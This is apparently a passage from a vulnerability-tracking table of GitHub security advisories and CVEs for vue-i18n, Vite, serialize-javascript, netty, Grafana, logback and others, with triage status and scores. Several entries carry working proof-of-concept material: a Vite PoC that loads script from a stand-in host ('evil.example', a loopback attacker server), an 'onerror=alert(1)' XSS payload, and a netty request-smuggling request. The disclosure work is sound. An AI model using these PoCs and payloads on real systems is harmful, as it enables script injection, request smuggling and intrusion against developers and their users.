it passes either list or named values, never both, and it does not render translations as HTML. ### PoC ```js import { createI18n } from 'vue-i18n' const i18n = createI18n({ legacy: false, locale: 'en', escapeParameter: true, messages: { en: { withList: '{0} {name}', withoutList: '{name}' } } }) const t = i18n.global.t t('withoutList', { name: '<b>x</b>' }) // <b>x</b> escaped t('withList', ['a'], { named: { name: '<b>x</b>' } }) // a <b>x</b> not escaped (v11.4.13) ``` ### Impact Applications are affected when they enable `escapeParameter`, render translations as HTML (for example with `v-html`), and pass untrusted named values in the same call as a list. The named values are inserted as markup: phishing links, forms, or layout changes. Together with GHSA-83rm-6c8r-g728, or on versions without the sanitizer, this leads to script execution (DOM-based XSS). ### Patches Fixed in 11.4.14 and 12.0.0-alpha.5. `escapeParams()` now escapes both the list and the named values. The fix also stops rewriting the named object that the caller passes. Before, the values of that object were replaced with their escaped form, so a second call with the same object escaped them twice. v9 and v10 are no longer supported and will not be fixed. Please migrate to v11. ### Workarounds - Do not pass list and named values in the same call when `escapeParameter` is enabled. - Do not render translations that can contain untrusted values with `v-html`. Use component interpolation (`<i18n-t>`) instead. | |
| 2.1CVSS 4.0 | GHSA-9jrq-w75r-8gcw
CVE-2026-112945 |
In triage | 2026-10-21 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server. ### Impact Only apps that match the following conditions are affected: - the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this. - the transformed HTML contains an inline module script - from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions ### Details [Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform: ```js const url = req.originalUrl template = await vite.transformIndexHtml(url, template) ``` For a development server at `http://localhost:5173`, an attacker can send this URL: ```text http://localhost:5173//evil.example/payload.js?/../../package.json ``` In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text. Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`. [The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`: ```html <script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script> ``` The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page. ### PoC ```js import { createServer as createHttpServer } from 'node:http' import { createRequire } from 'node:module' import { dirname, join } from 'node:path' import { fileURLToPath, pathToFileURL } from 'node:url' const directory = dirname(fileURLToPath(import.meta.url)) const require = createRequire(join(directory, 'package.json')) const { chromium } = require('playwright-chromium') const viteModule = await import( pathToFileURL(require.resolve('vite')).href ) const createViteServer = viteModule.createServer ?? viteModule.default.createServer // This loopback server stands in for a separately hosted attacker website. const attackerPort = 4173 const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json` const html = '<script type="module">document.body.textContent = "Vite app"</script>' const listen = (server, port = 0) => new Promise((resolve, reject) => { server.once('error', reject) server.listen(port, '127.0.0.1', () => { server.off('error', reject) resolve(server.address().port) }) }) const close = (server) => new Promise((resolve, reject) => { server.close((error) => (error ? reject(error) : resolve())) }) let attackerRequest = null const attacker = createHttpServer((request, response) => { attackerRequest = request.url response.writeHead(200, { 'access-control-allow-origin': '*', 'content-type': 'text/javascript', }) response.end( "document.documentElement.dataset.viteXssPoc = 'executed'", ) }) const vite = await createViteServer({ appType: 'custom', configFile: false, root: directory, server: { hmr: false, middlewareMode: true, watch: null, }, }) const application = createHttpServer((request, response) => { vite.middlewares(request, response, async (error) => { if (error) { response.destroy(error) return } try { const transformed = await vite.transformIndexHtml(request.url, html) response.writeHead(200, { 'content-type': 'text/html' }) response.end(transformed) } catch (transformError) { response.destroy(transformError) } }) }) await listen(attacker, attackerPort) const applicationPort = await listen(application) const browser = await chromium.launch({ headless: true }) try { const page = await browser.newPage() await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`) await page.waitForFunction( () => document.documentElement.dataset.viteXssPoc === 'executed', ) console.log(`attacker request: ${attackerRequest}`) console.log('JavaScript from the attacker server executed in the Vite page') } finally { await browser.close() await close(application) await vite.close() await close(attacker) } ``` Observed output on Vite 8.2.1: ```text attacker request: /payload.js?/../../package.json?html-proxy&index=0.js JavaScript from the attacker server executed in the Vite page ``` | |
| 2.1CVSS 4.0 | GHSA-m5mm-p8h7-m29v
CVE-2026-115897 |
Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `serialize-javascript` escapes its output so it is safe to embed inside a `<script>` element. Before 7.1.3 that guarantee did not hold for a **function value whose source ends in a bare `</script`**. Each function body is escaped on its own, and a bare `</script` was only neutralized when followed — within the same body — by a character the HTML tokenizer treats as ending the tag name (TAB, LF, FF, CR, SPACE, `/` or `>`). A body ending exactly at `</script` has no following character, so it was emitted unescaped. The delimiter is then supplied by the surrounding output (for example the newline the `space` option emits after the value), and a later serialized value can supply the closing `>` followed by markup: ```js const serialize = require('serialize-javascript'); function f() {} f.toString = () => 'function f(){ return 1 }//</script'; function g() {} g.toString = () => 'function g(x){ return x } > <img src=x onerror=alert(1)>'; serialize({ a: { f }, g }, { space: 2 }); // { // "a": { // "f": function f(){ return 1 }//</script // }, // "g": function g(x){ return x } > <img src=x onerror=alert(1)> // } ``` Embedded in a `<script>` element, the script ends at the injected tag and the `<img>` becomes a live element in the page. Exploitation requires an attacker to control the **source text** of a serialized function, in practice through a spoofed `toString()`. Real functions always end in `}`, so ordinary function values are not affected, and non-function values (including strings containing `</script`) are escaped correctly. ### Patches Fixed in **7.1.3** (#235). The bare `</script` form is now also matched at the end of the function body, so it is escaped regardless of what follows it in the output. ### Workarounds Upgrade to **7.1.3**. If you cannot upgrade, do not serialize function values whose source text (or `toString()`) can be influenced by an attacker. ### Credits Reported by **ha_kr25** via the Yahoo bug bounty program. | |
| 2.1CVSS 4.0 | GHSA-w9m9-85wc-3x92
CVE-2026-9358 |
Not affected | 2026-05-26 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability was determined in postcss-selector-parser before 6.1.3 and 7.1.1. Affected is the function toString of the file src/selectors/container.js of the component AST Serialization. Executing a manipulation can lead to uncontrolled recursion. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains, that according to his definition "DoS on server-side on user-generated CSS is low risk for us (since most users compile own CSS with PostCSS)." | |
| 2.0CVSS 3.1 | CVE-2026-21725
|
Resolved | 2026-02-25 | 5.6 ×95.5 ×205.4 ×14 | A time-of-create-to-time-of-use (TOCTOU) vulnerability lets recently deleted-then-recreated data sources be re-deleted without permission to do so. This requires several very stringent conditions to be met: - The attacker must have admin access to the specific datasource prior to its first deletion. - Upon deletion, all steps within the attack must happen within the next 30 seconds and on the same pod of Grafana. - The attacker must delete the datasource, then someone must recreate it. - The new datasource must not have the attacker as an admin. - The new datasource must have the same UID as the prior datasource. These are randomised by default. - The datasource can now be re-deleted by the attacker. - Once 30 seconds are up, the attack is spent and cannot be repeated. - No datasource with any other UID can be attacked. | |
| 1.9CVSS 4.0 | CVE-2026-3449
GHSA-vpq2-c234-7xj6 |
False positive | 2026-03-03 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability. | |
| 1.9CVSS 4.0 | GHSA-vpq2-c234-7xj6
CVE-2026-3449 |
False positive | 2026-03-03 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability. | |
| 1.8CVSS 4.0 | CVE-2026-1225
GHSA-qqpg-mvqg-649v |
Not affected | 2026-01-22 | 5.5 ×205.4 ×14 | ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file. The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado. | |
| 1.8CVSS 4.0 | GHSA-qqpg-mvqg-649v
CVE-2026-1225 |
Not affected | 2026-01-22 | 5.5 ×205.4 ×14 | ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file. The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado. | |
| 1.3CVSS 4.0 | CVE-2025-12141
|
Resolved | 2026-04-15 | 5.6 ×95.5 ×205.4 ×14 | In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations. | |
| 1.3CVSS 4.0 | CVE-2025-5889
GHSA-v6h2-p8h4-qcjw |
False positive | 2025-06-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component. | |
| 1.3CVSS 4.0 | GHSA-v6h2-p8h4-qcjw
CVE-2025-5889 |
False positive | 2025-06-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is `a5b98a4f30d7813266b221435e1eaaf25a1b0ac5`. It is recommended to upgrade the affected component. | |
| 1.2CVSS 4.0 | GHSA-p47f-322f-whfh
CVE-2026-9828 |
Resolved | 2026-05-28 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive. | |
| 0.0 | GHSA-fghv-69vj-qj49
CVE-2025-58056 |
Resolved | 2025-09-04 | 5.5 ×205.4 ×14 | ## Summary A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. ## Details When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): ``` POST /one HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 POST /two HTTP/1.1 Host: localhost:8080 Transfer-Encoding: chunked 0 ``` The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). ## Impact This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization. ## Disclosure - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html ## Discussion Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1 ## Credit - Credit to @JeppW for uncovering this vulnerability. - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. |